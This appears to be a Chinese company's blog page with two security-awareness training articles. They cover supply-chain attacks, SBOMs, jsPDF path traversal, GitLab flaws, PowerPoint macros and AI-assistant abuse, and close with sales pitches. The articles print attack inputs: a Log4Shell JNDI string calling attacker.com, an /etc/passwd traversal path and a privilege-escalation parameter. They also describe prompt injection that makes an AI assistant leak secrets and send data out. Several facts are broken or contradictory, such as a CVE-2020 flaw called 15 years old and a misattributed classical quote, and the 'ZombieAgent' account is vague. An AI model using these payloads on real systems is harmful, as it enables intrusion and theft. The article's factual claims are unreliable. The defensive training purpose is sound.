培训

筑牢数字防线：从真实案例看信息安全意识的必修课

admin

序幕：头脑风暴的火花

当我们走进办公室，敲击键盘的声音、屏幕上跳动的代码，仿佛是一曲高效的交响乐；然而在这看似有序的乐章背后，却潜伏着一支“黑暗交响”。如果把信息安全比作一座城池，那么人便是城门的守卫，技术是城墙，制度是城堡的基石。只有三者齐心，才能让黑客的炮火止步不前。

在此，我先抛出三桩“警世案例”，让大家在思考中感受到信息安全的紧迫与深刻——

  1. SolarWinds 供应链攻击：一次后门植入，导致美国数千家政府机构与企业陷入危局。
  2. Log4j (Log4Shell) 远程代码执行漏洞：一段日志库代码的疏漏，瞬间让全球几乎所有 Java 应用披上“红色警报”。
  3. 《某大型金融机构 SBOM 失效案》：缺失软件材料清单（SBOM）导致漏洞追踪失效，损失数亿元。

下面，让我们逐一拆解这些案例的来龙去脉、教训与启示。

案例一：SolarWinds 供应链攻击——后门如影随形

事件回顾

2020 年底，网络安全研究员观察到 SolarWinds Orion 网络管理平台的更新文件中被植入了一个隐藏的恶意代码——SUNBURST。这段后门代码在被激活后，会向攻击者的 C2（Command & Control）服务器回报受感染系统的详细信息。更令人震惊的是，SolarWinds 的产品被美国联邦政府数十个部门以及大量私营企业使用，导致黑客“一键式”侵入了数千家机构的内部网络。

关键因素

  1. 供应链缺失可视化：SolarWinds 在交付产品时未提供完整的 Software Bill of Materials (SBOM)，导致内部组件来源不透明，安全团队无法追溯到底层依赖是否被篡改。
  2. 信任链的盲点：企业在采用第三方管理工具时，往往只关注功能与兼容性，忽视了供应商的安全治理成熟度。
  3. 安全检测不足：常规的病毒扫描、入侵检测系统（IDS）对该后门的隐蔽性束手无策，缺少针对 Supply Chain 的专门监测。

教训提炼

  • 可视化是防御的第一步：若 SolarWinds 在交付时附带完整、机器可读的 SBOM（如 SPDX、CycloneDX），受影响的组织能够快速定位受影响的组件版本，实施精准的补丁或隔离措施。
  • 零信任应渗透至供应链：不论是内部系统还是外部供应商，都应在信任链中加入 “最小特权、持续验证”。
  • 持续监测、快速响应：构建基于 SBOM 的 Software Composition Analysis (SCA) 能够在构建阶段即发现异常依赖，降低生产环境被植入后门的概率。

案例二：Log4j (Log4Shell)——一行日志代码的毁灭性连锁

事件回顾

2021 年 12 月，Apache Log4j 项目公布了 CVE‑2021‑44228（俗称 Log4Shell）——一个高危的远程代码执行漏洞。攻击者仅需在日志中注入特定字符串 ${jndi:ldap://attacker.com/a}，即可触发 JNDI 机制加载远程恶意代码。结果是全球数以万计的服务器、容器、云服务瞬间暴露，攻击面之广前所未有。

关键因素

  1. 广泛依赖、缺乏清单：Log4j 作为 Java 生态系统的核心日志库，被几乎所有企业级应用所引用。若企业没有维护 SBOM，很难快速识别受影响的组件版本。
  2. 自动化部署的盲点：在 DevOps 流程中，大量容器镜像镜像通过 CI/CD 自动化构建，若缺少组件清单的校验，漏洞会随镜像一起扩散。
  3. 补丁发布与测试滞后：部分组织因对旧版 Log4j 的依赖深重，未能在短时间内完成升级，导致被动接受攻击。

教训提炼

  • ** SBOM 是漏洞响应的闪电斧：拥有完整的 SBOM，安全团队可在漏洞公布后即通过自动化脚本匹配受影响组件，快速发起 patch** 或 remediation。
  • CI/CD 必须嵌入安全检测：在代码提交、镜像构建阶段加入 SCA 工具，确保每一次交付都伴随“组件清单+合规校验”。
  • “最小化暴露”原则：不要在生产环境中暴露日志接口、避免使用不受信任的外部输入直接写入日志模板。

案例三：某大型金融机构 SBOM 失效案——隐形的财务裂痕

注：为保护相关方隐私，本文对机构名称、时间等信息做了脱敏处理。

事件概述

2023 年 Q2，某国内顶级商业银行在一次内部审计中发现，核心支付系统的第三方组件缺少统一的 Software Bill of Materials。该系统使用了数十个开源库，其中 libjpeg‑turbo 的一个旧版本存在 CVE‑2022‑xxxx 的堆溢出漏洞。由于未记录该库的具体版本，安全团队未能及时发现并修补。2023 年 8 月，攻击者利用该漏洞取得了系统的 root 权限，窃取了价值近 2 亿元 的客户资金。

关键因素

  1. 缺失 SBOM 导致漏洞盲区：没有完整的组件清单，导致安全团队对实际运行环境的认知出现“黑箱”。
  2. 依赖管理失控：项目团队在开发过程中引入了多个内部私有库，却未统一采用 包管理工具（如 Maven、npm、pip）进行版本锁定。
  3. 合规审计缺乏技术支撑：监管机构要求金融机构提供 SBOM，但该行仅能提供手工整理的文档，无法满足机器可读的标准。

教训提炼

  • 强制 SBOM 为合规基线：在金融行业，监管合规已经将 SBOM 置于 最低要求。企业必须在每一次交付（包括补丁）时生成标准化的 SBOM，确保审计与追溯的可行性。
  • 统一依赖治理平台：通过 内部制品库（Artifact Repository） 统一管理第三方库，搭配 依赖锁文件（如 pom.xml、package-lock.json）杜绝“随意升级”。
  • 提升全员安全意识：不只是安全团队，业务部门、研发部门乃至运维同事，都需要了解 SBOM 的价值与使用方法，形成“安全人人有责”的氛围。

纵向回望：SBOM 的本质与价值

从上述案例可以看出，Software Bill of Materials 并非“摆设”，而是 供应链安全的根基。它以 “组件清单 + 版本 + 关系（依赖）” 为核心，要点如下：

必备元素 解释
供应商名称 组件的原始提供方
组件名称 软件单元的标识
版本号 具体 Release，用于定位漏洞
唯一标识符 如 NIST CPE、Package URL（purl）
依赖关系 组件之间的上下游关联
SBOM 作者 生成清单的实体
时间戳 生成时间，便于追溯

此外，机器可读格式（SPDX、CycloneDX、SWID）是实现自动化安全运营的前提。只有在 CI/CD 流水线中嵌入 SBOM 生成与比对，才能真正实现 “实时可视、快速响应”。

自动化、数据化、智能化——安全的“三剑客”

在数字化转型的浪潮中，企业正从 传统 IT 向 自动化、数据化、智能化 迈进。对应的安全需求也呈现出以下趋势：

  1. 自动化：安全检测、补丁管理、合规审计正在向 流水线化 迁移。SCA、容器扫描、IaC（Infrastructure as Code）安全审计成为标配。
  2. 数据化：安全事件产生的大数据被用于 威胁情报、行为分析、异常检测。日志、网络流量、应用层调用链构成了完整的 可观测性。
  3. 智能化：AI/ML 模型用于 异常行为预测、自动化响应（SOAR），将人力从重复性工作中解放出来。

然而，自动化的前提是 “准确、完整、可信的数据”——而 SBOM 正是为 组件层面的数据完整性提供保障的关键资产。

号召行动：加入信息安全意识培训，成为“安全卫士”

亲爱的同事们，信息安全不再是 IT 部门的“专属工作”，而是每一位职工的基本职责。为帮助大家在自动化、数据化、智能化的环境中提升安全素养，昆明亭长朗然科技有限公司即将启动 《信息安全意识提升计划》，具体安排如下：

时间 内容 目标
第 1 周 安全入门与威胁认知：案例回顾（SolarWinds、Log4j） 了解供应链攻击本质
第 2 周 SBOM 基础与实践：如何查看、生成、解读 SBOM 掌握组件可视化工具
第 3 周 DevSecOps 与自动化检测：使用 SCA、容器扫描 将安全嵌入 CI/CD
第 4 周 数据化安全运营：日志收集、异常分析 学会利用安全数据进行响应
第 5 周 AI+安全的未来：SOAR、自动化响应演练 感受智能化防御的力量
第 6 周 模拟演练：红蓝对抗、应急响应实战 实战检验学习成果

培训形式：线上直播 + 线下研讨 + 互动实验室。每场结束后将提供 完整的 SBOM 示例、SCA 工具包、检测脚本，帮助大家在实际工作中直接落地。

“欲速则不达，欲稳则不危”。 正如《论语·子张》有言：“工欲善其事，必先利其器。” 只有掌握了 SBOM 这把“利器”，才能在复杂的供应链环境中快速定位风险，稳健推进业务创新。

参与即得的三大好处

  1. 个人竞争力提升：获得 信息安全合规证书（内部认可），在简历上增添“一站式安全高手”标签。
  2. 团队协作优化：统一的 SBOM 标准让研发、运维、审计三部门“语言统一”。
  3. 组织风险显著降低：通过持续的安全培训与自动化检测，将漏洞曝光时间从 数周 缩短至 数小时，防止重大损失。

结语：共筑数字堡垒，守护企业未来

信息安全是一场没有终点的马拉松。技术在进步，攻击手段在升级，唯有人的安全意识保持与时俱进，才能真正形成“技术 + 人”的双防线。希望通过本次培训，大家能够：

  • 认清供应链风险，主动查找并维护 SBOM；
  • 拥抱自动化工具，在 CI/CD 中嵌入安全检测；
  • 利用数据洞察，在海量日志中快速捕捉异常；
  • 借力智能化，让 AI 成为防御的加速器。

让我们以“知己知彼，百战不殆”的智慧，携手构建企业信息安全的坚固城墙，为公司业务的蓬勃发展保驾护航！

让安全成为每个人的自觉，让 SBOM 成为每一次交付的必备清单，让我们一起在自动化、数据化、智能化的浪潮中，稳步前行！

信息安全意识提升计划，期待与你共创安全未来！

通过提升人员的安全保密与合规意识，进而保护企业知识产权是昆明亭长朗然科技有限公司重要的服务之一。通过定制化的保密培训和管理系统，我们帮助客户有效避免知识流失风险。需求方请联系我们进一步了解。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

守护数字堡垒——信息安全意识培训动员

admin

“安全不是产品，而是一种思维方式。”——彼得·克拉克（Peter Clarke）
在信息化浪潮滚滚而来、智能体横空出世的今天，若把企业比作一座城池，那么每一位员工都是城墙上的守塔者。今天，我们把视线投向过去一年里四起典型且深具警示意义的安全事件，透过头脑风暴的方式，剖析它们背后的根本原因、攻击路径与防御缺口，并以此为基点，号召全体职工积极投身即将开启的信息安全意识培训，用“思维方式”筑起更坚固的防线。

一、头脑风暴：四大典型安全事件案例

案例一：jsPDF Node.js 版重大漏洞（CVE‑2025‑68428）

背景：jsPDF 是前端社区最常用的 PDF 生成库，npm 周下载量超 350 万。随着 Server‑Side Rendering（SSR）与后端 PDF 报表需求的激增，越来越多的 Node.js 应用直接在服务器端调用 jsPDF 的 loadFile、addImage、html、addFont 等方法。

漏洞概述：在 4.0.0 之前的版本，loadFile 接受的路径参数缺乏严格的白名单校验。当攻击者在 HTTP 请求中注入 ../../../../etc/passwd 之类的相对路径时，jsPDF 会直接读取服务器文件系统，随后把文件内容写入生成的 PDF 中返回给用户。漏洞本质是 本地文件包含（LFI）+ 路径遍历（Path Traversal），CVSS 评分 9.2，属于极高危漏洞。

攻击链：
1. 攻击者提交包含恶意路径的表单或 API 参数。
2. Node.js 进程以默认权限（通常是 www-data 或 node）调用 fs.readFileSync 读取文件。
3. 文件内容被包装进 PDF，随 HTTP 响应返回，攻击者即可在浏览器中直接查看敏感文件。

实际危害：若服务器上存放有 .env、数据库凭证、SSH 私钥等配置文件，攻击者即可“一键泄漏”。更甚者，读取系统密码文件后，可尝试以明文密码登录其他内部服务，造成横向移动。

教训：
– 输入验证永远是第一道防线。对所有文件路径参数做白名单或正则过滤，禁止 ..、/、\ 等特殊字符。
– 最小权限原则：Node.js 进程不应拥有对整个文件系统的读取权限，最好使用容器化或 --permission 标志限制 FS 访问。
– 及时升级：官方已在 4.0.0 版修补，仍有大量项目停留在旧版，必须立即升级并验证。

案例二：GitLab 多项高危漏洞（跨站脚本 & 权限滥用）

背景：GitLab 作为全球最大源码托管平台之一，企业内部 CI/CD 流水线大量依赖其 API 与 Web UI。2025 年底，安全研究团队披露了两项 CVE：一种是 存储型跨站脚本（XSS） 可在项目管理页面注入恶意脚本；另一种是 权限提升（Privilege Escalation），攻击者通过特制的 API 请求把普通开发者提升为管理员。

漏洞概述：
– XSS：攻击者在 issue、merge request 的描述字段中插入 <script> 代码。GitLab 缺乏对 HTML 实体的统一转义，导致受影响页面渲染时直接执行脚本。
– 权限提升：在旧版 members API 中，缺少对 access_level 参数的合法校验，攻击者可将 access_level=50（管理员）写入请求体，从而取得管理员权限。

攻击链：
1. 攻击者先通过钓鱼邮件或内部社交工程获取普通用户的登录凭证。
2. 登入后，在任意项目的 issue 中植入恶意脚本。其他员工浏览该 issue 时，脚本在其浏览器中执行，窃取其会话 Cookie。
3. 获得管理员 Cookie 后，直接调用受影响的 members API，修改自身或同事的 access_level，实现横向提权。

实际危害：
– 代码泄露：攻击者可下载全公司代码库，获取业务机密与知识产权。
– 供应链攻击：获得管理员后，可在 CI/CD 中植入恶意依赖或后门，使得所有下游项目被污染。

教训：
– 输入过滤与输出编码：所有富文本字段必须在服务器端进行严格的 HTML 实体转义。
– 细粒度权限控制：API 只向拥有相应角色的用户暴露，关键参数必须在后端再次校验。
– 安全审计：定期使用 SAST/DAST 工具审计代码库与 CI/CD 流水线，及时发现异常请求。

案例三：老旧 PowerPoint 漏洞被重新利用（CISA 警告）

背景：PowerPoint 作为最常用的演示软件之一，其文件格式（.pptx）本质上是压缩的 XML 包。即使是 15 年前发布的 CVE‑2020‑XXXX（宏自动执行漏洞），在 2026 年仍被黑客通过 Spearfishing 手段激活。

漏洞概述：攻击者在 PPTX 中植入特制的 VBA 宏或利用 ActiveX 控件 绕过 Office 安全中心的限制，触发本地代码执行。该漏洞的关键在于 宏签名校验缺失 与 Office 文档加载器的路径解析错误。

攻击链：
1. 攻击者向目标员工发送伪装成内部培训 PPT 的邮件，附件为恶意 PPTX。
2. 受害者在开启宏提示后点选“启用宏”。若系统未开启强制签名，宏即运行。
3. 宏利用本地 PowerShell 脚本下载并执行远程载荷，实现信息泄露或勒索。

实际危害：
– 轻易获取 本地管理员权限，因为宏在用户上下文中运行，往往拥有完整的系统访问权。
– 勒索病毒 通过 PowerShell 直接加密关键业务文件，导致业务瘫痪。

教训：
– 禁用宏：除非业务必须，所有工作站默认关闭宏执行。
– 企业签名：仅允许经过企业代码签名的宏运行，未签名宏一律阻止。
– 安全感知：培养员工对陌生邮件附件的警惕性，尤其是 .pptx、.docx 等看似无害的文档。

案例四：AI 生成内容的“ShadowLeak”与“ZombieAgent”滥用

背景：2025‑2026 年间，随着大语言模型（LLM）开放 API，攻击者开始利用 ChatGPT、Claude 等生成钓鱼邮件、恶意脚本，甚至直接在模型内部植入“ZombieAgent”——一种能够在对话中自行触发恶意代码的智能体。

漏洞概述：
– ShadowLeak：攻击者通过模型的上下文注入技术，诱导模型泄露内部 API 密钥、未公开的业务规则等敏感信息。
– ZombieAgent：在对话链中植入 “self‑execute” 指令，模型在生成回复的同时，向目标系统发送恶意请求，形成“对话即攻击”的全新攻击向量。

攻击链：
1. 攻击者创建伪装成技术支持的聊天窗口，向内部员工提供 “AI 助手”。
2. 在对话中询问 “请给我一段用于批量导出数据库的脚本”。模型依据上下文生成完整的 SQL Dump 脚本，并返回。
3. 同时，模型内部的 ZombieAgent 向内部 API 发送 POST /export 请求，将敏感数据直接传输至攻击者控制的服务器。

实际危害：
– 数据外泄：企业内部敏感数据在不知情的情况下被自动导出。
– 合规风险：违反 GDPR、台湾个人资料保护法（PDPA）等法规，导致巨额罚款。

教训：
– AI 使用治理：对所有外部调用的 LLM 实施审计日志，关键请求必须经过多因素审批。
– Prompt 过滤：在企业内部部署的 AI 助手必须加入 Prompt 防护层，阻止生成涉及凭证、脚本、系统命令等敏感内容。
– 安全培训：让员工了解 AI 并非万能工具，任何生成的代码或脚本都应经过安全审查后才可执行。

二、从案例到全局：数据化、智能化、智能体化时代的安全新挑战

1. 数据化——信息资产的无形化与可复制性

数字化转型让企业的业务、客户、运营数据全部以 结构化/半结构化 的形式存储在云端或本地数据湖。数据的 价值 与 风险 成正比：一次泄漏，可能波及千万级用户。案例一中的 LFI 实际上就是对 文件系统 的一次“数据抽取”。

防御思路：
– 数据分级：对标《信息安全等级保护》或 ISO 27001，对数据进行敏感度分类（公开、内部、机密、绝密）。
– 最小化原则：仅在业务需要时才读取或写入文件，避免“一键读取全盘”。
– 加密存储：关键配置、凭证使用 密钥管理服务（KMS） 加密，确保即使被读取也不可直接利用。

2. 智能化——AI/大模型的业务助推与攻击扩散

案例四正是 AI 赋能与滥用的两面刀。AI 能让我们 自动化报告、智能客服，但同样为 自动化攻击 提供了新渠道。

防御思路：
– AI 安全治理框架：建立“模型生命周期管理”，包括 模型训练、审计、部署、监控 四大环节。
– 输入/输出审计：对所有 LLM 的 Prompt 与 Response 进行日志记录，使用 内容过滤（如 DLP）阻断敏感信息泄露。
– 人机共审：任何生成的脚本、配置变更必须经过 安全工程师 或 代码审计工具 二次确认。

3. 智能体化——自动化代理、机器人流程自动化（RPA）与边缘计算

随着 智能体（Agent） 在组织内部的渗透（如自动化运维 Bot、智能客服 Agent），攻击者也可将 恶意指令嵌入 到合法 Agent 中，形成 横向渗透链。

防御思路：
– 行为基线监控：对 Agent 的常规行为（API 调用频率、文件访问路径）建立基线，异常时触发告警。
– 代码签名与可信执行环境（TEE）：所有 Agent 必须通过企业私钥签名，运行在受信任的容器或硬件安全模块内。
– 零信任网络：每一次 Agent 与内部服务的交互，都必须进行身份验证与最小权限授权。

三、呼吁行动：信息安全意识培训即将启动

1. 培训的目标与核心价值

“知之者不如好之者，好之者不如乐之者。”——《论语·雍也》

  1. 提升安全思维：让每位员工把 “安全” 当作日常决策的第一要素，而不是事后补丁。
  2. 普及实战技巧：从 钓鱼邮件识别、密码管理、安全配置审计 到 AI Prompt 防护，覆盖全链路。
  3. 构建安全文化：营造“发现问题、及时报告、共同改进”的氛围，让安全从个人责任上升到组织共识。

2. 培训的模块化设计（全程线上 + 实体研讨）

模块 内容简介 预计时长 关键成果
基础篇 信息安全概念、CIA 三元、攻击常见手法（Phishing、Ransomware、Supply‑Chain） 2 小时 了解威胁全貌，树立安全底线
案例研讨 深度剖析前文四大案例，现场演练漏洞利用与防御措施 3 小时 通过实战感知风险点，掌握防御要领
安全编码 Node.js、Python、Java 中的安全编码规范（输入验证、最小权限、依赖管理） 2 小时 编码即安全，降低后端缺陷
AI 与安全 LLM Prompt 防护、模型审计、AI 生成脚本的安全评估 1.5 小时 防止 AI 成为泄密利器
云原生防护 容器安全、Kubernetes RBAC、Serverless 权限最小化 2 小时 在云上构建“零信任”边界
应急响应 现场模拟数据泄露、勒索攻击，完成事件处置流程 2 小时 快速定位、遏制、恢复，提升响应速度
软技能提升 安全沟通、报告撰写、业务部门协作 1 小时 把技术转化为可落地的业务建议
考核 & 认证 线上测验 + 实战演练，合格者颁发《信息安全基础认证》（内部） — 建立可量化的安全能力画像

3. 参与方式与激励机制

  • 报名渠道：企业内部门户 → “学习中心 – 信息安全培训”。
  • 时间安排：2026 年 2 月 5 日至 2 月 28 日，每周二、四晚间 19:00‑21:00（弹性补课）。
  • 激励：完成全部模块并通过考核的同事，将获得 “安全守护星” 电子徽章、部门内部 安全先锋 奖金（最高 3000 元），并计入年度绩效。

4. 培训中的互动环节（让学习不再枯燥）

  • “黑客现场”：由红队工程师现场演示 jsPDF LFI 利用，随后切换到防御代码审计。
  • “安全笑话”：每节课结束前，抽取一则安全段子（如“为什么黑客不爱吃披萨？因为它总是被切片（Slice）！”），活跃气氛。
  • “安全拔河赛”：分组进行 CTF（Capture The Flag）挑战，抢夺“旗帜”即是夺取高危漏洞的根因。

5. 培训后的持续成长路径

  • 安全社区：公司内部设立 “安全沙龙”，每月一次技术分享与案例复盘。
  • 岗位轮岗：安全团队提供 “安全影子” 项目，让非安全岗位的同事在项目中体验安全审计工作。
  • 个人成长：鼓励员工报名 CISSP、CISM、OSCP 等行业认证，企业提供学费报销与学习时间支持。

四、结语：让每一次点击、每一次代码、每一次对话，都成为安全的“防火墙”

在数字化、智能化、智能体化齐头并进的今天，技术本身没有善恶，使用它的人决定了它的价值。我们不能把安全交给工具的“默认安全”，也不能指望一次技术升级就能“一劳永逸”。正如《孙子兵法》所言：“兵贵神速”，在信息安全的战场上，快速学习、快速响应 才能把风险压在最低点。

四个案例告诉我们：
1. 代码漏洞 常因“疏忽的输入验证”而被放大。
2. 平台漏洞 往往是“权限缺失的连锁反应”。
3. 旧软件 仍是“潜伏的定时炸弹”。
4. AI 既是“生产力的发动机”，也是“攻击的加速器”。

不论你是 前端开发者、运维工程师、财务同事，抑或 业务营销，只要我们每个人都把 安全意识 嵌进日常工作的每一个细节，那就等于在全公司的每一层网络、每一行代码、每一次对话上覆盖了一层 “防护绸”。

让我们从今天起，在每一次打开邮件、每一次提交代码、每一次与 AI 对话时，都先问自己三个问题：

  1. 这是否来自可信来源？
  2. 我是否对输入/输出做了最严格的校验？
  3. 我的操作是否符合最小权限原则？

答案若有一项为 否，请立刻止步、报告、求助。让我们在 信息安全意识培训 的课堂上，学会这三个问题的“快问快答”，把它们变成肌肉记忆。

安全是一场没有终点的马拉松，唯有持续学习，方能跑得更稳、更远。

“伟大的事业，往往始于一次勇敢的觉醒。”——让我们在本次培训中，携手觉醒，为公司筑起一道坚不可摧的数字防线！

昆明亭长朗然科技有限公司提供全面的信息保密培训，使企业能够更好地掌握敏感数据的管理。我们的课程内容涵盖最新安全趋势与实操方法，帮助员工深入理解数据保护的重要性。如有相关需求，请联系我们了解详情。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898